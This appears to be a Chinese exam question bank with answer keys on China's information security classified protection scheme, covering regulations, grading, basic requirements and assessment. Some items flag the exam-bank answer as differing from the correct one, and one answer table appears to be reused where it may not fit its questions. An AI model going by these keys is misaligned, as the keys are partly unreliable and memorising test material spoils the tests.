<p>C．警告</p>
<p>D．停机整顿</p>
<p>8．根据《广东省计算机信息系统安全保护条例》规定，第二级以上计算机信息系统的运营、使用单位计算机信息系统投入使用前未经符合国家规定的安全等级测评机构测评合格的 ，由公安机关（ABCDE）。</p>
<p>A．责令限期改正，给予警告</p>
<p>B．逾期不改的，对单位的主管人员、其他直接责任人员可以处五千元以下罚款，对单位可以处一万五千元以下罚款</p>
<p>C．有违法所得的，没收违法所得</p>
<p>D．情节严重的，并给予六个月以内的停止联网、停机整顿的处罚</p>
<p>E．必要时公安机关可以建议原许可机构撤销许可或者取消联网资格</p>
<p>9．根据《广东省公安厅关于计算机信息系统安全保护的实施办法》，信息安全等级测评机构申请备案(AB)</p>
<p>A．一般应当向地级以上市公安机关公共信息网络安全监察部门提出申请</p>
<p>B．承担省直和中央驻粤单位信息安全等级测评工作的机构，直接向省公安厅公共信息网络安全监察部门提出申请</p>
<p>C．一般应当向公安部公共信息网络安全监察部门提出申请</p>
<p>D．一般应当向县级以上市公安机关公共信息网络安全监察部门提出申请</p>
<p>10．根据《信息安全等级保护管理办法》，安全保护等级为第三级以上的计算机信息系统应当选用符合下列条件的安全专用产品：（ABCDE）</p>
<p>A．产品研制、生产单位是由中国公民、法人投资或者国家投资或者控股的，在中华人民共和国境内具有独立的法人资格</p>
<p>B．产品的核心技术、关键部件具有我国自主知识产权</p>
<p>C．产品研制、生产单位及其主要业务、技术人员无犯罪记录</p>
<p>D．产品研制、生产单位声明没有故意留有或者设置漏洞、后门、木马等程序和功能</p>
<p>E．对国家安全、社会秩序、公共利益不构成危害</p>
<p>三、判断题</p>
<p>1．根据《信息安全等级保护管理办法》，第三级信息系统运营、使用单位应当依据国家管理规范和技术标准进行保护，国家有关信息安全职能部门对其信息安全等级保护工作进行强制监督、检查。(×)</p>
<p>2．根据《信息安全等级保护管理办法》，国家保密工作部门负责等级保护工作中有关保密工作的监督、检查、指导(√)</p>
<p>3．根据《信息安全等级保护管理办法》，信息系统的运营、使用单位应当根据本办法和有关标准，确定信息系统的安全保护等级并报公安机关审核批准。(×)</p>
<p>4．根据《信息安全等级保护管理办法》，信息系统的运营、使用单位应当根据已确定的安全保护等级，依照本办法和有关技术标准，使用符合国家有关规定，满足信息系统安全保护等级需求的信息技术产品，进行信息系统建设。(√)</p>
<p>5．根据《信息安全等级保护管理办法》，第十五条 已运营（运行）的第二级以上信息系统，应当在安全保护等级确定后30日内，由其运营、使用单位到所在地设区的市级以上公安机关办理备案手续(√)</p>
<p>6．根据《信息安全等级保护管理办法》，公安机关应当掌握信息系统运营、使用单位的备案情况，发现不符合本办法及有关标准的，应建议其予以纠正。(×)</p>
<p>7．根据《信息安全等级保护管理办法》，公安机关检查发现信息系统安全保护状况不符合信息安全等级保护有关管理规范和技术标准的，应当向运营、使用单位发出整改通知(√)</p>
<p>8．信息系统运营、使用单位应当依照相关规定和标准和行业指导意见自主确定信息系统的安全保护等级。即使有主管部门的，也不必经主管部门审核批准。（×）</p>
<p>答案</p>
<div class="table-box">
<table>
<thead>
<tr>
<th>序号</th>
<th>1</th>
<th>2</th>
<th>3</th>
<th>4</th>
<th>5</th>
<th>6</th>
<th>7</th>
<th>8</th>
<th>9</th>
<th>10</th>
</tr>
</thead>
<tbody>
<tr>
<td>答案</td>
<td>D</td>
<td>B</td>
<td>B</td>
<td>C</td>
<td>A</td>
<td>B</td>
<td>D</td>
<td>B</td>
<td>A</td>
<td>C</td>
</tr>
<tr>
<td>序号</td>
<td>11</td>
<td>12</td>
<td>13</td>
<td>14</td>
<td>15</td>
<td>16</td>
<td>17</td>
<td>18</td>
<td>19</td>
<td>20</td>
</tr>
<tr>
<td>答案</td>
<td>D</td>
<td>C</td>
<td>B</td>
<td>A</td>
<td>A</td>
<td>C</td>
<td>C</td>
<td>A</td>
<td>A</td>
<td>A</td>
</tr>
<tr>
<td>序号</td>
<td>21</td>
<td>22</td>
<td>23</td>
<td>24</td>
<td>25</td>
<td>26</td>
<td>27</td>
<td>28</td>
<td>29</td>
<td>30</td>
</tr>
<tr>
<td>答案</td>
<td>A</td>
<td>B</td>
<td>B</td>
<td>C</td>
<td>A</td>
<td>A</td>
<td>A</td>
<td>ABCD</td>
<td>ABCD</td>
<td>ABCDE</td>
</tr>
</tbody>
</table>
</div>
<p><strong>二、实施指南</strong></p>
<p>一、单选题：</p>
<ol>
<li>1999年，我国发布的第一个信息安全等级保护的国家标准GB 17859 — 1999，提出将信息系统的安全等级划分为______个等级，并提出每个级别的安全功能要求。
<p>A.7</p>
<p>B.8</p>
<p>C.6</p>
<p>D.5</li>
<li>等级保护标准GB 17859主要是参考了______而提出。
<p>A.欧洲ITSEC</p>
<p>B.美国TCSEC</p>
<p><a rel="nofollow" href="http://c.cc/">C.CC</a></p>
<p><a rel="nofollow" href="http://d.bs/">D.BS</a> 7799</li>
<li>信息安全等级保护的5个级别中，______是最高级别，属于关系到国计民生的最关键信息系统的保护。
<p>A.强制保护级</p>
<p>B.专控保护级</p>
<p>C.监督保护级</p>
<p>D.指导保护级</p>
<p>E.自主保护级</li>
<li>《信息系统安全等级保护实施指南》将______作为实施等级保护的第一项重要内容。
<p>A.安全定级（正确答案，记住）</p>
<p>B.安全评估</p>
<p>C.安全规划（考试题库答案，考试时选）</p>
<p>D.安全实施</li>
<li>______是进行等级确定和等级保护管理的最终对象。
<p>A.业务系统（考试题库答案，考试时选）</p>
<p>B.功能模块</p>
<p>C.信息系统（正确答案，记住）</p>
<p>D.网络系统</li>
<li>当信息系统中包含多个业务子系统时，对每个业务子系统进行安全等级确定，最终信息系统的安全等级应当由______所确定。
<p>A.业务子系统的安全等级平均值</p>
<p>B.业务子系统的最高安全等级</p>
<p>C.业务子系统的最低安全等级</p>
<p>D.以上说法都错误</li>
<li>关于资产价值的评估，______说法是正确的。
<p>A.资产的价值指采购费用</p>
<p>B.资产的价值无法估计</p>
<p>C.资产价值的定量评估要比定性评估简单容易</p>
<p>D.资产的价值与其重要性密切相关</li>
<li>安全威胁是产生安全事件的______。
<p>A.内因</p>
<p>B.外因</p>
<p>C.根本原因</p>
<p>D.不相关因素</li>
<li>安全脆弱性是产生安全事件的______。
<p>A.内因</p>
<p>B.外因</p>
<p>C.根本原因</p>
<p>D.不相关因素</li>
<li>下列关于用户口令说法错误的是______。
<p>A.口令不能设置为空</p>
<p>B.口令长度越长，安全性越高</p>
<p>C.复杂口令安全性足够高，不需要定期修改</p>
<p>D.口令认证是最常见的认证机制</li>
<li>如果一个信息系统，其业务信息安全性或业务服务保证性受到破坏后，会对社会秩序和公共利益造成一定损害，但不损害国家安全；本级系统依照国家管理规范和技术标准进行自主保护，必要时，信息安全监管职能部门对其进行指导。那么该信息系统属于等级保护中的______。
<p>A.强制保护级</p>
<p>B.监督保护级</p>
<p>C.指导保护级 （正确答案，记住）</p>
<p>D.自主保护级 （考试题库答案，考试时选）</li>
<li>如果一个信息系统，其业务信息安全性或业务服务保证性受到破坏后，会对公民、法人和其他组织的合法权益产生损害，但不损害国家安全、社会秩序和公共利益；本级系统依照国家管理规范和技术标准进行自主保护。那么其在等级保护中属于______。
<p>A.强制保护级</p>
<p>B.监督保护级</p>
<p>C.指导保护级 （考试题库答案，考试时选）</p>
<p>D.自主保护级 （正确答案，记住）</li>
<li>如果一个信息系统，主要对象为涉及国家安全、社会秩序和公共利益的重要信息系统，其业务信息安全性或业务服务保证性受到破坏后，会对国家安全、社会秩序和公共利益造成较大损害；本级系统依照国家管理规范和技术标准进行自主保护，信息安全监管职能部门对其进行监督、检查。这应当属于等级保护的______。
<p>A.强制保护级</p>
<p>B.监督保护级</p>
<p>C.指导保护级</p>
<p>D.自主保护级</li>
<li>如果一个信息系统，主要对象为涉及国家安全、社会秩序和公共利益的重要信息系统，其业务信息安全性或业务服务保证性受到破坏后，会对国家安全、社会秩序和公共利益造成严重损害；本级系统依照国家管理规范和技术标准进行自主保护，信息安全监管职能部门对其进行强制监督、检查。这应当属于等级保护的______。
<p>A.强制保护级</p>
<p>B.监督保护级</p>
<p>C.指导保护级</p>
<p>D.自主保护级</li>
<li>如果一个信息系统，主要对象为涉及国家安全、社会秩序和公共利益的重要信息系统的核心子系统，其业务信息安全性或业务服务保证性受到破坏后，会对国家安全、社会秩序和公共利益造成特别严重损害；本级系统依照国家管理规范和技术标准进行自主保护，国家指定专门部门、专门机构进行专门监督、检查。这应当属于等级保护的______。
<p>A.专控保护级</p>
<p>B.监督保护级</p>
<p>C.指导保护级</p>
<p>D.自主保护级</li>
<li>在安全评估过程中，采取______手段，可以模拟黑客入侵过程，检测系统安全脆弱性。
<p>A.问卷调查</p>
<p>B.人员访谈</p>
<p>C.渗透性测试</p>
<p>D.手工检查</li>
<li>在需要保护的信息资产中，______是最重要的。
<p>A.环境</p>
<p>B.硬件</p>
<p>C.数据</p>
<p>D.软件</li>
<li>GB 17859与目前等级保护所规定的安全等级的含义不同，GB 17859中等级划分为现在的等级保护奠定了基础。
<p>A.正确</p>
<p>B.错误</li>
<li>虽然在安全评估过程中采取定量评估能获得准确的分析结果，但是由于参数确定较为困难，往往实际评估多采取定性评估，或者定性和定量评估相结合的方法。
<p>A.正确</p>
<p>B.错误</li>
<li>定性安全风险评估结果中，级别较高的安全风险应当优先采取控制措施予以应对。
<p>A.正确</p>
<p>B.错误</li>
<li>通常在风险评估的实践中，综合利用基线评估和详细评估的优点，将二者结合起来。
<p>A.正确</p>
<p>B.错误</li>
<li>脆弱性分析技术，也被通俗地称为漏洞扫描技术。该技术是检测远程或本地系统安全脆弱性的一种安全技术。
<p>A.正确（正确答案，记住）</p>
<p>B.错误（考试题库答案，考试时选）</li>
<li>信息系统安全等级保护实施的基本过程包括系统定级、 、安全实施、安全运维、系统终止。
<p>A.风险评估</p>
<p>B.安全规划</p>
<p>C.安全加固</p>
<p>D.安全应急</li>
<li>安全规划设计基本过程包括 、安全总体设计、安全建设规划。
<p>A.项目调研</p>
<p>B.概要设计</p>
<p>C.需求分析</p>
<p>D.产品设计</li>
<li>信息系统安全实施阶段的主要活动包括 、等级保护管理实施、等级保护技术实施、等级保护安全测评。
<p>A.安全方案详细设计</p>
<p>B.系统定级核定</p>
<p>C.安全需求分析</p>
<p>D.产品设计</li>
<li>安全运维阶段的主要活动包括运行管理和控制、变更管理和控制、安全状态监控、 、安全检查和持续改进、监督检查。
<p>A.安全事件处置和应急预案</p>
<p>B.安全服务</p>
<p>C.网络评估</p>
<p>D.安全加固</li>
<li>简述等级保护实施过程的基本原则包括， ，同步建设原则，重点保护原则，适当调整原则。
<p>A.自主保护原则</p>
<p>B.整体保护原则</p>
<p>C.一致性原则</p>
<p>D.稳定性原则</li>
</ol>
<p>二、多选题：</p>
<ol>
<li>《计算机信息网络国际联网安全保护管理办法》规定，任何单位和个人不得从事下列危害计算机信息网络安全的活动：______。
<p>A.故意制作、传播计算机病毒等破坏性程序的</p>
<p>B.未经允许，对计算机信息网络功能进行删除、修改或者增加的</p>
<p>C.未经允许，对计算机信息网络中存储、处理或者传输的数据和应用程序进行删除、修改或者增加的</p>
<p>D.未经允许，进入计算机信息网络或者使用计算机信息网络资源的</li>
<li>我国信息安全等级保护的内容包括______。
<p>A.对国家秘密信息、法人和其他组织及公民的专有信息以及公开信息和存储、传输和处理这些信息的信息系统分等级实行安全保护</p>
<p>B.对信息系统中使用的信息安全产品实行按等级管理</p>
<p>C.对信息安全从业人员实行按等级管理</p>
<p>D.对信息系统中发生的信息安全事件按照等级进行响应和处置</p>
<p>E.对信息安全违反行为实行按等级惩处</li>
<li>目前，我国在对信息系统进行安全等级保护时，划分了5个级别，包括______。
<p>A.专控保护级</p>
<p>B.强制保护级</p>
<p>C.监督保护级</p>
<p>D.指导保护级</p>
<p>E.自主保护级</li>
</ol>
<p>答案</p>
<div class="table-box">
<table>
<thead>
<tr>
<th>序号</th>
<th>1</th>
<th>2</th>
<th>3</th>
<th>4</th>
<th>5</th>
<th>6</th>
<th>7</th>
<th>8</th>
<th>9</th>
<th>10</th>
</tr>
</thead>
<tbody>
<tr>
<td>答案</td>
<td>D</td>
<td>B</td>
<td>B</td>
<td>C</td>
<td>A</td>
<td>B</td>
<td>D</td>
<td>B</td>
<td>A</td>
<td>C</td>
</tr>
<tr>
<td>序号</td>
<td>11</td>
<td>12</td>
<td>13</td>
<td>14</td>
<td>15</td>
<td>16</td>
<td>17</td>
<td>18</td>
<td>19</td>
<td>20</td>
</tr>
<tr>
<td>答案</td>
<td>D</td>
<td>C</td>
<td>B</td>
<td>A</td>
<td>A</td>
<td>C</td>
<td>C</td>
<td>A</td>
<td>A</td>
<td>A</td>
</tr>
<tr>
<td>序号</td>
<td>21</td>
<td>22</td>
<td>23</td>
<td>24</td>
<td>25</td>
<td>26</td>
<td>27</td>
<td>28</td>
<td>29</td>
<td>30</td>
</tr>
<tr>
<td>答案</td>
<td>A</td>
<td>B</td>
<td>B</td>
<td>C</td>
<td>A</td>
<td>A</td>
<td>A</td>
<td>ABCD</td>
<td>ABCD</td>
<td>ABCDE</td>
</tr>
</tbody>
</table>
</div>
<p><strong>三、定级指南</strong></p>
<p><strong>1</strong>**、**根据等级保护相关管理文件，信息系统的安全保护等级分为几个级别：（c）</p>
<p>A.3</p>
<p>B.4</p>
<p>C.5</p>
<p>D.6</p>
<p><strong>2</strong>**、**等级保护对象受到破坏时所侵害的客体包括的三个方面为：（a b c）</p>
<ol>
<li>公民、法人和其他组织的合法权益</li>
</ol>
<p>B. 社会秩序、公共利益</p>
<p>C. 国家安全</p>
<p>D. 个人利益</p>
<p><strong>3</strong>**、**等级保护对象受到破坏后对客体造成侵害的程度归结为哪三种（b c d）</p>
<p>A. 造成轻微损害</p>
<p>B. 造成一般损害</p>
<p>C. 造成严重损害</p>
<p>D. 造成特别严重损害</p>
<p><strong>4</strong>**、**根据定级指南，信息系统安全包括哪两个方面的安全：（a b）</p>
<p>A、业务信息安全</p>
<p>B、系统服务安全</p>
<p>C、系统运维安全</p>
<p>D、系统建设安全</p>
<p><strong>5</strong>**、**作为定级对象的信息系统应具有如下基本特征：（a b c）</p>
<p>A、具有唯一确定的安全责任单位</p>
<p>B、具有信息系统的基本要素</p>
<p>C、承载单一或相对独立的业务应用</p>
<p>D、单位具有独立的法人</p>
<p>6、以下哪一项不属于侵害国家安全的事项（d）</p>
<p>A、影响国家政权稳固和国防实力</p>
<p>B、影响国家统一、民族团结和社会安定</p>
<p>C、影响国家对外活动中的政治、经济利益</p>
<p>D、影响各种类型的经济活动秩序</p>
<p><strong>7</strong>**、**以下哪一项不属于侵害社会秩序的事项（a）</p>
<p>A、影响国家经济竞争力和科技实力</p>
<p>B、影响各种类型的经济活动秩序</p>
<p>C、影响各行业的科研、生产秩序</p>
<p>D、影响公众在法律约束和道德规范下的正常生活秩序等</p>
<p>8、以下哪一项不属于影响公共利益的事项（d）</p>
<p>A、影响社会成员使用公共设施</p>
<p>B、影响社会成员获取公开信息资源</p>
<p>C、影响社会成员接受公共服务等方面</p>
<p>D、影响国家重要的安全保卫工作</p>
<p><strong>9</strong>**、**信息安全和系统服务安全受到破坏后，可能产生以下危害后果（a b c d）</p>
<p>A、影响行使工作职能</p>
<p>B．导致业务能力下降</p>
<p>C．引起法律纠纷</p>
<p>D．导致财产损失</p>
<p><strong>10</strong>**、**进行等级保护定义的最后一个环节是：（b）</p>
<p>A、信息系统的安全保护等级由业务信息安全保护等级和系统服务安全保护等级的较低者决定</p>
<p>B、信息系统的安全保护等级由业务信息安全保护等级和系统服务安全保护等级的较高者决定</p>
<p>C、信息系统的安全保护等级由业务信息安全保护等级决定</p>
<p>D、信息系统的安全保护等级由系统服务安全保护等级决定</p>
<p><strong>11</strong>**、**信息安全等级保护工作直接作用的具体的信息和信息系统称为（c）</p>
<p>A、客体</p>
<p>B、客观方面</p>
<p>C、等级保护对象</p>
<p>D、系统服务</p>
<p><strong>12</strong>**、**受法律保护的、等级保护对象受到破坏时所侵害的社会关系，如国家安全、社会秩序、公共利益以及公民、法人或其他组织的合法权益,称为（a）</p>
<p>A、客体</p>
<p>B、客观方面</p>
<p>C、等级保护对象</p>
<p>D、系统服务</p>
<p><strong>13</strong>**、**对客体造成侵害的客观外在表现，包括侵害方式和侵害结果等,称为（b）</p>
<p>A、客体</p>
<p>B、客观方面</p>
<p>C、等级保护对象</p>
<p>D、系统服务</p>
<p><strong>14</strong>**、**信息系统为支撑其所承载业务而提供的程序化过程,称为（d）</p>
<p>A、客体</p>
<p>B、客观方面</p>
<p>C、等级保护对象</p>
<p>D、系统服务</p>
<p><strong>15</strong>**、**信息系统受到破坏后，会对社会秩序和公共利益造成特别严重损害，或者对国家安全造成严重损害,在等保定义中应定义为第几级（d）</p>
<p>A、第一级</p>
<p>B、第二级</p>
<p>C、第三级</p>
<p>D、第四级</p>
<p>E、第五级</p>
<p><strong>16</strong>**、**信息系统受到破坏后，会对国家安全造成特别严重损害,在等保定义中应定义为第几级（e）</p>
<p>A、第一级</p>
<p>B、第二级</p>
<p>C、第三级</p>
<p>D、第四级</p>
<p>E、第五级</p>
<p><strong>17</strong>**、**信息系统受到破坏后，会对公民、法人和其他组织的合法权益造成损害，但不损害国家安全、社会秩序和公共利益,在等保定义中应定义为第几级（a）</p>
<p>A、第一级</p>
<p>B、第二级</p>
<p>C、第三级</p>
<p>D、第四级</p>
<p>E、第五级</p>
<p><strong>18</strong>**、**信息系统受到破坏后，会对公民、法人和其他组织的合法权益产生严重损害，或者对社会秩序和公共利益造成损害，但不损害国家安全,在等保定义中应定义为第几级（b）</p>
<p>A、第一级</p>
<p>B、第二级</p>
<p>C、第三级</p>
<p>D、第四级</p>
<p>E、第五级</p>
<p><strong>19</strong>**、**信息系统受到破坏后，会对社会秩序和公共利益造成严重损害，或者对国家安全造成损害,在等保定义中应定义为第几级（c）</p>
<p>A、第一级</p>
<p>B、第二级</p>
<p>C、第三级</p>
<p>D、第四级</p>
<p>E、第五级</p>
<p><strong>20</strong>**、**对公民、法人和其他组织的合法权益造成一般损害，定义为几级（a）</p>
<p>A、第一级</p>
<p>B、第二级</p>
<p>C、第三级</p>
<p>D、第四级</p>
<p>E、第五级</p>
<p><strong>21</strong>**、**对公民、法人和其他组织的合法权益造成特别严重损害，定义为几级（b）</p>
<p>A、第一级</p>
<p>B、第二级</p>
<p>C、第三级</p>
<p>D、第四级</p>
<p>E、第五级</p>
<p><strong>22</strong>**、**对社会秩序、公共利益造成一般损害，定义为几级（b）</p>
<p>A、第一级</p>
<p>B、第二级</p>
<p>C、第三级</p>
<p>D、第四级</p>
<p>E、第五级</p>
<p><strong>23</strong>**、**对社会秩序、公共利益造成特别严重损害，定义为几级（d）</p>
<p>A、第一级</p>
<p>B、第二级</p>
<p>C、第三级</p>
<p>D、第四级</p>
<p>E、第五级</p>
<p><strong>24</strong>**、**对国家安全造成一般损害，定义为几级（c）</p>
<p>A、第一级</p>
<p>B、第二级</p>
<p>C、第三级</p>
<p>D、第四级</p>
<p>E、第五级</p>
<p><strong>25</strong>**、**对国家安全造成特别严重损害，定义为几级（e）</p>
<p>A、第一级</p>
<p>B、第二级</p>
<p>C、第三级</p>
<p>D、第四级</p>
<p>E、第五级</p>
<p><strong>26</strong>**、**从业务信息安全角度反映的信息系统安全保护等级称（d）</p>
<p>A、安全等级保护</p>
<p>B、信息系统等级保护</p>
<p>C、系统服务安全保护等级</p>
<p>D、业务信息安全保护等级</p>
<p><strong>27</strong>**、**从系统服务安全角度反映的信息系统安全保护等级称（c）</p>
<p>A、安全等级保护</p>
<p>B、信息系统等级保护</p>
<p>C、系统服务安全保护等级</p>
<p>D、业务信息安全保护等级</p>
<p><strong>28</strong>**、**一个单位内运行的信息系统可能比较庞大，为了体现重要部分重点保护，有效控制信息安全建设成本，优化信息安全资源配置的等级保护原则，可采取什么样的定级措施（a）</p>
<p>A、可将较大的信息系统划分为若干个较小的、可能具有不同安全保护等级的定级对象</p>
<p>B、作为一个信息系统来定级</p>
<p><strong>29</strong>**、**确定作为定级对象的信息系统受到破坏后所侵害的客体时，应首先判断是否侵害国家安全（a）</p>
<p>A、国家安全</p>
<p>B、社会秩序或公众利益</p>
<p>C、公民、法人和其他组织的合法权益</p>
<p><strong>30</strong>**、**在信息系统的运行过程中，安全保护等级是否需要随着信息系统所处理的信息和业务状态的变化进行适当的变更。（a）</p>
<p>A、需要</p>
<p>B、不需要</p>
<p><strong>四、基本要求</strong></p>
<p>一、选择题</p>
<p>1、《基本要求》分为技术要求和管理要求，其中技术要求包括物理安全、网络安全、主机系统安全、应用安全和 ？</p>
<p>A、整体安全 B、数据安全 C、操作系统安全 D、数据库安全</p>
<p>2、《基本要求》中管理要求中，下面那一个不是其中的内容？</p>
<p>A、安全管理机构 B、安全管理制度 C、人员安全管理 D、病毒安全管理</p>
<p>3、技术类安全要求按其保护的测重点不同，将依据三类控制点进行分类，其中S类代表是业务信息安全类，A类代表是什么?</p>
<p>A、通用安全保护等级B、业务服务保证类（应为系统服务保证类）C、用户服务保证类D业务安全保证类</p>
<p>4、物理层面安全要求包括物理位置、物理访问控制、防盗窃和防破坏等，其中不是物理安全范围的是什么？</p>
<p>A、防静电 B、防火 C、防水和防潮 D、防攻击</p>
<p>5、应能够防护系统免受来自外部小型组织的、拥有少量资源的威胁源发起的恶意攻击、一般的自然灾难，所造成的重要资源损害，能够发现重要的安全漏洞和安全事件，在系统遭到损害后，能够在一段时间内恢复部分功能是几级要求。</p>
<p>A、 一级 B、 二级 C、三级 D、四级</p>
<p>6、网络安全主要关注的方面包括：结构安全、访问控制、安全审计、边界完整性检查、入侵防范、恶意代码防范、 等七个控制点。</p>
<p>A、网络设备防护 B、网络设备自身安全C、网络边界D、网络数据</p>
<p>7、管理要求包括 项？（应为基本要求包括多少类？）</p>
<p>A、10 B、11 C、12 D、13</p>
<p>8、《测评准则》和 是对用户系统测评的依据 （《测评准则》现已被《测评要求》替代）</p>
<p>A、《信息系统安全等级保护实施指南》</p>
<p>B、《信息系统安全保护等级定级指南》</p>
<p>C、《信息系统安全等级保护基本要求》</p>
<p>D、《信息系统安全等级保护管理办法》</p>
<p>9、应用安全包括身份鉴别、访问控制、安全审计、剩余信息保护、通信完整性、通信保密性和_____。</p>
<p>A、抗抵赖、软件容错、资源控制</p>
<p>B、不可否认性、软件容错、资源控制</p>
<p>C、抗抵赖、软件删除、资源控制</p>
<p>D、抗抵赖、软件容错、系统控制</p>
<p>10、安全管理机构包括_____控制点</p>
<p>A、3 B、4 C、5 D、6</p>
<p>11、《基本要求》是针对一至 级的信息系统给出基本的安全保护要求。（注意《基本要求》第9章为空白）</p>
<p>A、2 B、3 C、4 D、5</p>
<p>12、基本要求的选择和使用中，定级结果为S3A2，保护类型应该是 。</p>
<p>A、 S3A2G1 B 、S3A2G2 C、S3A2G3 D、S3A2G4</p>
<p>13、二级信息系统保护要求的组合包括: S1A2G2，S2A2G2， 。</p>
<p>A、S2A1G2 B、S1A2G3 C、S2A2G3 D、S2A3G2</p>
<p>14、安全管理制度主要包括：管理制度、制定和发布、 三个控制点。</p>
<p>A、评审和修订 B、修改 C、 审核 D、 阅读</p>
<p>15、数据安全包括：数据完整性、数据保密性、 。</p>
<p>A、数据备份 B、数据机密性 C、数据不可否认性 D、数据删除性</p>
<p>16、结构安全、访问控制、安全审计是 层面的要求。（注意：主机安全和应用安全均有访问控制和安全审计控制点，但没有结构安全控制点。结构安全控制点是网络安全类独有控制点）</p>
<p>A、网络 B、主机 C、 系统 D、物理</p>
<p>17、电磁防护是 层面的要求。</p>
<p>A、网络 B、主机 C、 系统 D、物理</p>
<p>18、运营、使用单位应当参照《信息安全技术信息系统安全管理要求》</p>
<p>GB/T20269-2006）、《信息安全技术信息系统安全工程管理要求》 管理规范，制定并落实符合本系统安全保护等级要求的安全管理制度</p>
<p>A、测评准则 B、基本要求 C、定级指南 D、实施指南</p>
<p>19、主机系统安全涉及的控制点包括：身份鉴别、安全标记、访问控制、可信路径、安全审计等 个控制点</p>
<p>A、8 B、9 C、10 D、7</p>
<p>20 、数据安全及备份恢复涉及到 、 、 3个控制点</p>
<p>A、数据完整性 数据保密性 备份和恢复</p>
<p>B、数据完整性 数据保密性 不可否认性</p>
<p>C、数据完整性 不可否认性 备份和恢复</p>
<p>D、不可否认性 数据保密性 备份和恢复</p>
<p>21、______标准为评估机构提供等级保护评估依据。</p>
<p>A、基本要求 B、测评指南 C、评估实施指南 D、定级指南</p>
<p>22、人员管理主要是对人员的录用、人员的离岗、 、安全意识教育和培训、第三方人员访问管理5个方面</p>
<p>A、人员教育 B、人员裁减 C、人员考核 D、人员审核</p>
<p>23、安全管理制度包括管理制度、制定和发布和_______</p>
<p>A、审核 B、评审和修订 C、 修订 D、评审</p>
<p>24、每个级别的信息系统按照 进行保护后，信息系统具有相应等级的基本安全保护能力，达到一种基本的安全状态。</p>
<p>A、基本要求 B、分级要求 C、测评准则 D、实施指南</p>
<p>25、《基本要求》的管理部分包括安全管理机构、安全管理制度、人员安全管理</p>
<p>、系统建设管理、__________。</p>
<p>A、系统运维 B、人员录用 C、管理运行 D、系统运行</p>
<p>26、环境管理、资产管理、介质管理都属于安全管理部分的_______管理。</p>
<p>A、人员管理 B、安全管理机构 C安全管理制度、 D、系统运维管理</p>
<p>27、系统建设管理中要求，对新建系统首先要进行______，在进行方案设计。</p>
<p>A、定级 B、规划 C、需求分析 D、测评</p>
<p>28、从___级系统开始，基本要求中有规定要作异地备份。</p>
<p>A、2 B、3 C、4 D、5</p>
<p>29、系统定级、安全方案设计、产品采购等是______部分要求。</p>
<p>A、系统建设管理 B、系统运维 C、数据安全 D、主机安全</p>
<p>30、四级系统中，物理安全要求共有________项</p>
<p>A、8 B、9 C、10 D、11</p>
<p>答案:</p>
<p>1、B 2、D 3、B 4、D、 5、B 6、A 7、A 8、C 9、A 10、C</p>
<p>11、C 12、C 13、A 14、A 15、A 16、A 17、D 18、B 19、B</p>
<p>20、A 21、A 22、C 23、B 24、A 25、A 26、D 27、A 28、B</p>
<p>29、A 30、C</p>
<p><strong>五、测评准则</strong>**（已被《测评要求》替代）**</p>
<p>1、《信息安全等级保护管理办法》中要求，第三级信息系统应当每年至少进行 A 次等级测评</p>
<p>A、一 B、二 C、三 D、四</p>
<p>2、《信息安全等级保护管理办法》中要求第三级以上信息系统应当选择符合下列条件 C、D 的等级保护测评机构进行测评：</p>
<p>A、在中华人民共和国境内注册成立；</p>
<p>B、由中国公民投资、中国法人投资或者国家投资的企事业单位；</p>
<p>C、具有完备的保密管理、项目管理、质量管理、人员管理和培训教育等安全管理制度；</p>
<p>D、工作人员仅限于中国公民。</p>
<p>3、《信息安全等级保护管理办法》中要求从事信息系统安全等级测评的机构，应当履行下列 A、B、C、D 义务。</p>
<p>A、遵守国家有关法律法规和技术标准，提供安全、客观、公正的检测评估服务，保证测评的质量和效果。</p>
<p>B、保守在测评活动中知悉的国家秘密、商业秘密和个人隐私。</p>
<p>C、防范测评风险。</p>
<p>D、对测评人员进行安全保密教育，与其签订安全保密责任书，规定应当履行的安全保密义务和承担的法律责任，并负责检查落实。</p>
<p>4、《广东省公安厅关于计算机信息系统安全保护的实施办法》规定测评机构实施 B 制度。</p>
<p>A、审批 B、备案 C、审批+备案</p>
<p>5、在《广东省公安厅关于计算机信息系统安全保护的实施办法》中规定第 B 级以上的计算机信息系统建设完成后，使用单位应当委托符合规定的测评机构安全测评合格方可投入使用。</p>
<p>A、一 B、二 C、三 D、四</p>
<p>6、计算机信息系统运营、使用单位委托安全测评机构测评，应当提交下列资料的主要有：A、B、C、D 。</p>
<p>A、安全测评委托书。</p>
<p>B、定级报告。</p>
<p>C、计算机信息系统应用需求、系统结构拓扑及说明、系统安全组织结构和管理制度、安全保护设施设计实施方案或者改建实施方案、系统软件硬件和信息安全产品清单。</p>
<p>D、安全策略文档。</p>
<p>7、信息安全等级测评机构对计算机信息系统进行使用前安全测评，应当预先报告 B 公共信息网络安全监察部门。</p>
<p>A、县级以上公安机关 B、地级以上市公安机关</p>
<p>C、省公安厅 D、公安部</p>
<p>8、信息安全等级测评机构有下列行为之一的 A、B、C、D ，由所在地公安机关公共信息网络安全监察部门责令改正，并予以通报。对已办理备案的，收回备案证书。触犯有关法律、法规和规章的，依法追究法律责任。</p>
<p>A、伪造、冒用信息安全等级测评机构备案证书的；</p>
<p>B、转让、转借信息安全等级测评机构备案证书的；</p>
<p>C、出具虚假、失实的信息安全等级测评结论的；</p>
<p>D、泄露测评活动中掌握的国家秘密、商业秘密和个人隐私的；</p>
<p>9、计算机信息系统投入使用后，存在下列情形之一的A、B、C、D ，应当进行安全自查，同时委托安全测评机构进行安全测评：</p>
<p>A、变更关键部件。</p>
<p>B、安全测评时间满一年。</p>
<p>C、发生危害计算机信系统安全的案件或安全事故。</p>
<p>D、公安机关公共信息网络安全监察部门根据应急处置工作的需要认为应当进行安全测评。</p>
<p>**10、**申请单位认为安全测评报告的合法性和真实性存在重大问题的，可以向 A 公共信息网络安全监察部门提出申诉，提交异议申诉书及有关证明材料。</p>
<p>A、本单位所在地公安机关 B、地级以上市公安机关</p>
<p>C、省公安厅 D、公安部</p>
<p>11、等级保护测评的执行主体最好选择： B 。</p>
<p>A、独立的第三方测评服务机构。</p>
<p>B、具有相关资质的、独立的第三方测评服务机构。</p>
<p>C、从事系统集成和信息安全产品开发等安全服务机构。</p>
<p>D、具有相关资质的、从事系统集成和信息安全产品开发等安全服务机构。</p>
<p>12、安全保护等级为第三级以上的计算机信息系统应当选用符合下列条件 A、B、C、D 的安全专用产品：</p>
<p>A、产品研制、生产单位是由中国公民、法人投资或者国家投资或者控股的，在中华人民共和国境内具有独立的法人资格。</p>
<p>B、产品的核心技术、关键部件具有我国自主知识产权。</p>
